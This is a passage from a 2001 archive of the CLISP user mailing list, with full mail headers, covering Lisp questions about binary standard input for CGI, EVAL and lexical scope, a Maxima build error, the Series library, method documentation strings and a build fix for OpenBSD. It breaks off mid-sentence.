(two-way-stream-input-stream Sam> (symbol-value (synonym-stream-symbol *standard-input*))))) Sam> (describe true-input)) (exit)' > z $ clisp -q -norc < z # BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @1> is an Sam> input-stream. $ Sam> Would you like to write a paper describing what you are doing? Sam> We can put it on our web site, like we did with Sam> . That seems to be a step-by-step cookbook on how to use clisp as a shell. I'd be happy to do that for my problem once I've figured out how to make it work. In the meantime, I'll try to put together a more thorough explanation from start to finish of what I am trying to do. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From tfb@ocf.berkeley.edu Tue Nov 13 14:39:29 2001 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163mDJ-000897-00 for ; Tue, 13 Nov 2001 14:39:29 -0800 Received: from apocalypse.OCF.Berkeley.EDU (daemon@apocalypse.OCF.Berkeley.EDU [128.32.191.249]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id fADMdDM12419; Tue, 13 Nov 2001 14:39:13 -0800 (PST) Received: (from tfb@localhost) by apocalypse.OCF.Berkeley.EDU (8.11.6/8.9.3) id fADMdPg21662; Tue, 13 Nov 2001 14:39:25 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15345.41245.28268.251100@apocalypse.OCF.Berkeley.EDU> To: Russell Senior Cc: Subject: Re: [clisp-list] stream trouble In-Reply-To: <86wv0upbs3.fsf@coulee.tdb.com> References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <868zdbhv8e.fsf@coulee.tdb.com> <86wv0upbs3.fsf@coulee.tdb.com> X-Mailer: VM 6.90 under Emacs 21.1.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 13 14:40:07 2001 X-Original-Date: Tue, 13 Nov 2001 14:39:25 -0800 Russell Senior writes: > In the meantime, I'll try to put together a more thorough > explanation from start to finish of what I am trying to do. I can try to do that for you here, since I don't know the answer, either. I've come across the same problem, but avoided it with the same technique I used to improve performance: I had CLISP open a socket, and stay running, and served CGI requests with a very small C program that forwarded the request to the CLISP socket, and sent the response back to the web server. The problem he's having is this: CGI requests can come in a number of forms; one of them is a byte stream on standard input. The problem is that the request is a stream of bytes, but in lisp, *standard-input* is a character stream. Reading characters from it and getting the value of the byte by calling char-code would happen to work, but it's wrong and fragile. How should one deal with this byte stream? -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From samuel.steingold@verizon.net Wed Nov 14 06:45:12 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1641Hr-0004Hm-00 for ; Wed, 14 Nov 2001 06:45:11 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA18155; Wed, 14 Nov 2001 09:45:06 -0500 (EST) X-Envelope-To: To: Russell Senior Cc: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <868zdbhv8e.fsf@coulee.tdb.com> <86wv0upbs3.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <86wv0upbs3.fsf@coulee.tdb.com> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 14 06:46:06 2001 X-Original-Date: 14 Nov 2001 09:44:06 -0500 > * In message <86wv0upbs3.fsf@coulee.tdb.com> > * On the subject of "Re: [clisp-list] stream trouble" > * Sent on 13 Nov 2001 14:05:16 -0800 > * Honorable Russell Senior writes: > > What would be the "approved" way of executing lisp code "out-of-band" > so that standard input is reserved for data? Is it even possible? $ cat z (defun foo () (let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input) (format t "~&line: ~s~%" (read-line true-input)) (setf (stream-element-type true-input) '(unsigned-byte 8)) (format t "~&byte: ~s~%" (read-byte true-input))) (exit)) (foo) $ clisp -q -norc -i z < z ;; Loading file z ... # is an input-stream. line: "(defun foo ()" byte: 32 $ Please note that this will _not_ be necessary in the next CLISP release (*standard-input* and *standard-input* will be real streams, not synonym streams, but _ONLY_ when appropriate, i.e., when not a terminal). watch for the CVS commit message about implementing this, if you want to test this feature. > Sam> Would you like to write a paper describing what you are doing? > Sam> We can put it on our web site, like we did with > Sam> . > > I'd be happy to do that for my problem once I've figured out how to > make it work. In the meantime, I'll try to put together a more > thorough explanation from start to finish of what I am trying to do. good. when/if you get around to doing a text, please use clash.html as a template (use the same header/footer, CSS, xhtml &c). -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! A professor is someone who talks in someone else's sleep. From Randy.Justice@cnet.navy.mil Wed Nov 14 07:21:26 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1641qR-0004Vo-00 for ; Wed, 14 Nov 2001 07:20:56 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA19756 for ; Wed, 14 Nov 2001 09:20:06 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Wed, 14 Nov 2001 09:22:21 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C16D20.239394A0" Subject: [clisp-list] Eval and Scope Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 14 07:22:39 2001 X-Original-Date: Wed, 14 Nov 2001 09:22:14 -0600 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C16D20.239394A0 Content-Type: text/plain; charset="iso-8859-1" Hi. First, thanks for all your help in the past... I'm trying to use the "eval" function.. With the following defined. (setq mut-fun '(+ 1 2 3)) (defun test (x) (eval mut-fun) ) One gets the correct information... [56]> (test 1) 6 Changing the mut-fun to [57]> (setq mut-fun '(+ x 1 2 3)) (+ X 1 2 3) [58]> (test 1) 106 The "X" is a global variable, which has value of 100. The function has a local "x" variable too. How do I use the local "x" variable? When global "X" is not defined, I get the following message *** - EVAL: variable X has no value Thanks for any help and insight.. Randy ------_=_NextPart_001_01C16D20.239394A0 Content-Type: text/html; charset="iso-8859-1" Eval and Scope

Hi.

First, thanks for all your help in the past...

I'm trying to use the "eval" function..

With the following defined.

(setq mut-fun '(+ 1 2 3))

(defun test (x)
 
 (eval mut-fun)

)

One gets the correct information...
[56]> (test 1)
6

Changing the mut-fun to
[57]> (setq mut-fun '(+ x 1 2 3))
(+ X 1 2 3)
[58]> (test 1)
106

The "X" is a global variable, which has value of 100.
The function has a local "x" variable too.  

How do I use the local "x" variable?  
When global "X" is not defined, I get the following message
*** - EVAL: variable X has no value

Thanks for any help and insight..

Randy





------_=_NextPart_001_01C16D20.239394A0-- From edi@agharta.de Wed Nov 14 07:33:17 2001 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16422K-000891-00 for ; Wed, 14 Nov 2001 07:33:13 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 0C18112EA28; Wed, 14 Nov 2001 16:33:01 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Eval and Scope References: From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: Message-ID: Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 14 07:34:12 2001 X-Original-Date: 14 Nov 2001 16:33:01 +0100 See the CLHS: "EVAL evaluates form in the current dynamic environment and the null lexical environment." So, EVAL won't be able to see the lexical binding of X. Edi. "Justice, Randy -CONT(DYN)" writes: > Hi. > > First, thanks for all your help in the past... > > I'm trying to use the "eval" function.. > > With the following defined. > > (setq mut-fun '(+ 1 2 3)) > > (defun test (x) > > (eval mut-fun) > > ) > > One gets the correct information... > [56]> (test 1) > 6 > > Changing the mut-fun to > [57]> (setq mut-fun '(+ x 1 2 3)) > (+ X 1 2 3) > [58]> (test 1) > 106 > > The "X" is a global variable, which has value of 100. > The function has a local "x" variable too. > > How do I use the local "x" variable? > When global "X" is not defined, I get the following message > *** - EVAL: variable X has no value > > Thanks for any help and insight.. > > Randy From WZocher@t-online.de Thu Nov 15 11:50:14 2001 Received: from mailout03.sul.t-online.com ([194.25.134.81] helo=mailout03.sul.t-online.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 164SWc-0002jI-00 for ; Thu, 15 Nov 2001 11:50:14 -0800 Received: from fwd06.sul.t-online.de by mailout03.sul.t-online.de with smtp id 164SWa-0000J4-04; Thu, 15 Nov 2001 20:50:12 +0100 Received: from t-online.de (320053177297-0001@[62.157.64.145]) by fwd06.sul.t-online.com with esmtp id 164SWL-20rZtAC; Thu, 15 Nov 2001 20:49:57 +0100 Message-ID: <3BF41AFC.8020500@t-online.de> From: WZocher@t-online.de (Wolfgang Zocher) Organization: German Chapter of CSG User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Sender: 320053177297-0001@t-dialin.net Subject: [clisp-list] maxima 5.6 with clisp 2.26 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 15 11:51:03 2001 X-Original-Date: Thu, 15 Nov 2001 20:43:56 +0100 Hi, all -- I'm just trying to install maxima on Linux (SuSE 7.3) with clisp 2 26 running. During compilation I get this: End compile SUPRV1 at Thu Nov 15 17:14:14 2001 Begin compile DSKFN at Thu Nov 15 17:14:14 2001 Compiling file /tmp/maxima-5.6/src/dskfn.lisp ... Compilation of file /tmp/maxima-5.6/src/dskfn.lisp is finished. The following functions were used but not defined: LISTARGP GETLABELS GETLABELS* MAKEALIAS RULEOF STRIPDOLLAR $FACTS DEFAULTF MFILE-OUT The following functions were used but are deprecated: SET 0 errors, 0 warnings End compile DSKFN at Thu Nov 15 17:14:14 2001 ;; Loading file macsys.fas ... ;; Loading of file macsys.fas is finished. ;; Loading file mload.fas ... ;; Loading of file mload.fas is finished. ;; Loading file suprv1.fas ... *** - READ from #: there is no character bit with name "NO" 1. Break MAXIMA[8]> What can I do? Is there some intro for installing maxima with clisp elsewhere? Thanks in advance Wolfgang From toy@rtp.ericsson.se Fri Nov 16 05:43:02 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 164jGn-0004eV-00 for ; Fri, 16 Nov 2001 05:43:01 -0800 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.92.15]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id fAGDgsP20728 for ; Fri, 16 Nov 2001 07:42:54 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id fAGDgsx24215 for ; Fri, 16 Nov 2001 07:42:54 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Fri Nov 16 07:42:53 2001 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id IAA15340 for ; Fri, 16 Nov 2001 08:44:27 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id IAA11031 for clisp-list@lists.sourceforge.net; Fri, 16 Nov 2001 08:42:52 -0500 (EST) Resent-Message-Id: <200111161342.IAA11031@edgedsp4.rtp.ericsson.se> X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f Resent-To: clisp-list@lists.sourceforge.net Resent-From: Raymond Toy Resent-Date: 16 Nov 2001 08:42:51 -0500 X-From-Line: MAILER-DAEMON Thu Nov 15 18:33:00 2001 Received: from mr6.exu.ericsson.se (mr6.exu.ericsson.se [138.85.224.157]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id SAA05307 for ; Thu, 15 Nov 2001 18:33:00 -0500 (EST) Received: from imr2.ericy.com (imr2.exu.ericsson.se [138.85.92.7]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id fAFNVPm20239 for ; Thu, 15 Nov 2001 17:31:25 -0600 (CST) Received: from localhost (localhost) by imr2.ericy.com (8.11.3/8.11.3) id fAFNVPP02444; Thu, 15 Nov 2001 17:31:25 -0600 (CST) From: Mail Delivery Subsystem Message-Id: <200111152331.fAFNVPP02444@imr2.ericy.com> To: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="fAFNVPP02444.1005867085/imr2.ericy.com" Auto-Submitted: auto-generated (failure) X-Content-Length: 2699 Lines: 61 Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 16 05:43:12 2001 X-Original-Date: Thu, 15 Nov 2001 17:31:25 -0600 (CST) This is a MIME-encapsulated message --fAFNVPP02444.1005867085/imr2.ericy.com The original message was received at Thu, 15 Nov 2001 17:31:18 -0600 (CST) from mr7att.ericy.com [138.85.92.15] ----- The following addresses had permanent fatal errors ----- (reason: 550-host imr2.ericy.com [12.34.240.68] is not permitted to relay ) ----- Transcript of session follows ----- ... while talking to mail.sourceforge.net.: >>> RCPT To: <<< 550-host imr2.ericy.com [12.34.240.68] is not permitted to relay <<< 550-through usw-sf-list1.sourceforge.net. <<< 550 relaying to prohibited by administrator 550 5.1.1 ... User unknown --fAFNVPP02444.1005867085/imr2.ericy.com Content-Type: message/delivery-status Reporting-MTA: dns; imr2.ericy.com Received-From-MTA: DNS; mr7att.ericy.com Arrival-Date: Thu, 15 Nov 2001 17:31:18 -0600 (CST) Final-Recipient: RFC822; clisp-list@usw-pr-web.sourceforge.net Action: failed Status: 5.1.1 Remote-MTA: DNS; mail.sourceforge.net Diagnostic-Code: SMTP; 550-host imr2.ericy.com [12.34.240.68] is not permitted to relay Last-Attempt-Date: Thu, 15 Nov 2001 17:31:25 -0600 (CST) --fAFNVPP02444.1005867085/imr2.ericy.com Content-Type: text/rfc822-headers Return-Path: Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.92.15]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id fAFNVIP02438 for ; Thu, 15 Nov 2001 17:31:18 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id fAFNVIu22254 for ; Thu, 15 Nov 2001 17:31:18 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Nov 15 17:31:17 2001 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id SAA05301 for ; Thu, 15 Nov 2001 18:32:51 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id SAA10566; Thu, 15 Nov 2001 18:31:16 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: asin bug? From: Raymond Toy Date: 15 Nov 2001 18:31:16 -0500 Message-ID: <4n7ksrd323.fsf@rtp.ericsson.se> Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --fAFNVPP02444.1005867085/imr2.ericy.com-- From samuel.steingold@verizon.net Sun Nov 18 12:50:55 2001 Received: from out002pub.verizon.net ([206.46.170.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 165Yty-0003dw-00 for ; Sun, 18 Nov 2001 12:50:54 -0800 Received: from xchange.com (pool-151-203-226-9.bos.east.verizon.net [151.203.226.9]) by out002pub.verizon.net with ESMTP ; id fAIKpdU12849 Sun, 18 Nov 2001 14:51:40 -0600 (CST) To: WZocher@t-online.de (Wolfgang Zocher) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] maxima 5.6 with clisp 2.26 References: <3BF41AFC.8020500@t-online.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3BF41AFC.8020500@t-online.de> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 18 12:51:03 2001 X-Original-Date: 18 Nov 2001 15:49:19 -0500 > * In message <3BF41AFC.8020500@t-online.de> > * On the subject of "[clisp-list] maxima 5.6 with clisp 2.26" > * Sent on Thu, 15 Nov 2001 20:43:56 +0100 > * Honorable WZocher@t-online.de (Wolfgang Zocher) writes: > > *** - READ from #: > there is no character bit with name "NO" this is fixed in clisp 2.27. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Oh Lord, give me the source code of the Universe and a good debugger! From dave@synergy.org Mon Nov 19 21:50:23 2001 Received: from 64-42-7-146.atgi.net ([64.42.7.146] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1663na-0001Ty-00 for ; Mon, 19 Nov 2001 21:50:22 -0800 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.2966); Mon, 19 Nov 2001 21:50:15 -0800 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-OriginalArrivalTime: 20 Nov 2001 05:50:15.0108 (UTC) FILETIME=[3A060040:01C17187] Subject: [clisp-list] Series? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 19 21:51:03 2001 X-Original-Date: Mon, 19 Nov 2001 21:50:15 -0800 I just replaced my CLtL1 with CLtL2 (yeah, probably the last guy on the block to do so). What is the status of series in CLISP? I was reading Appendix A and thought it'd be fun to play with them. Thanks! Dave From toy@rtp.ericsson.se Tue Nov 20 06:11:26 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 166BcU-0001ji-00 for ; Tue, 20 Nov 2001 06:11:26 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id fAKEBNT27846 for ; Tue, 20 Nov 2001 08:11:23 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id fAKEBN121915 for ; Tue, 20 Nov 2001 08:11:23 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Tue Nov 20 08:11:22 2001 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA09517; Tue, 20 Nov 2001 09:12:58 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id JAA01688; Tue, 20 Nov 2001 09:11:20 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] Series? References: From: Raymond Toy In-Reply-To: Message-ID: <4n1yitilbr.fsf@rtp.ericsson.se> Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 20 06:12:02 2001 X-Original-Date: 20 Nov 2001 09:11:20 -0500 >>>>> "Dave" == Dave Richards writes: Dave> I just replaced my CLtL1 with CLtL2 (yeah, probably the last guy on the Dave> block to do so). What is the status of series in CLISP? I was reading Dave> Appendix A and thought it'd be fun to play with them. See series.sourceforge.net. It should work just fine. Ray From dave@synergy.org Tue Nov 27 20:37:44 2001 Received: from 64-42-7-146.atgi.net ([64.42.7.146] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 168wTg-0000cI-00 for ; Tue, 27 Nov 2001 20:37:44 -0800 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.3779); Tue, 27 Nov 2001 20:37:34 -0800 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-OriginalArrivalTime: 28 Nov 2001 04:37:34.0329 (UTC) FILETIME=[6619EE90:01C177C6] Subject: [clisp-list] documentation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 27 20:38:02 2001 X-Original-Date: Tue, 27 Nov 2001 20:37:34 -0800 How do I retrieve the documentation string associated with a method created by defmethod? e.g. (defmethod foo ((instance standard-object)) "foo doesn't so anything useful." t) Thanks! Dave From samuel.steingold@verizon.net Wed Nov 28 07:17:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1696So-0006g9-00 for ; Wed, 28 Nov 2001 07:17:30 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA09649; Wed, 28 Nov 2001 10:17:03 -0500 (EST) X-Envelope-To: To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] documentation References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 28 07:18:06 2001 X-Original-Date: 28 Nov 2001 10:15:58 -0500 > * In message > * On the subject of "[clisp-list] documentation" > * Sent on Tue, 27 Nov 2001 20:37:34 -0800 > * Honorable "Dave Richards" writes: > > How do I retrieve the documentation string associated with a method created > by defmethod? e.g. > > (defmethod foo ((instance standard-object)) > "foo doesn't so anything useful." > t) this doc string is now discarded. CLISP DOCUMENTATION has cltl1 implementation (not a generic function). When DOCUMENTATION is implemented correctly, this doc should be available as (documentation (find-method #'foo nil (list (find-class 'standard-object))) t) would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Live free or die. From william.newman@airmail.net Wed Nov 28 14:10:23 2001 Received: from mx6.airmail.net ([209.196.77.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 169CuL-0000vh-00 for ; Wed, 28 Nov 2001 14:10:21 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx6.airmail.net with smtp (Exim 3.16 #10) id 169CuK-0008py-00 for clisp-list@lists.sourceforge.net; Wed, 28 Nov 2001 16:10:20 -0600 Received: from rootless.localdomain from [207.136.3.178] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 28 Nov 2001 16:11:44 -0600 (CST) Received: (from newman@localhost) by rootless.localdomain (8.10.1/8.10.1) id fASLhJ518515; Wed, 28 Nov 2001 15:43:19 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20011128154319.B30912@rootless> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="BOKacYhQ+x31HxR3" Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0.1i Subject: [clisp-list] building CLISP on OpenBSD Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 28 14:11:03 2001 X-Original-Date: Wed, 28 Nov 2001 15:43:19 -0600 --BOKacYhQ+x31HxR3 Content-Type: text/plain; charset=us-ascii A long time ago I reported that I couldn't get CLISP to build on OpenBSD. I've now figured out the problem. The basic problem is that the "sh" builtin command "cd" sometimes emits output, e.g. $ cd /tmp $ cd . $ cd '' /tmp $ which plays havoc with the idiom canonical_filename=`cd $foo; pwd` used by the CLISP build scripts to find canonical filenames. (The basic problem was obscured by the way that the first failure caused by the basic problem ends up interacting with some rather bizarre "sh" syntax behavior.) I've attached a diff against the clisp-2.27 sources to redirect output from "cd" to "/dev/null". It let CLISP build and pass its tests on my OpenBSD 2.9 system. I don't guarantee that I didn't make some obscure mistake in one of the many places where the backquote/cd/pwd idiom is used, and it'd might be better to find some way to wrap up that idiom in a subroutine anyway. But at least it shows the way to go for CLISP maintainers who don't 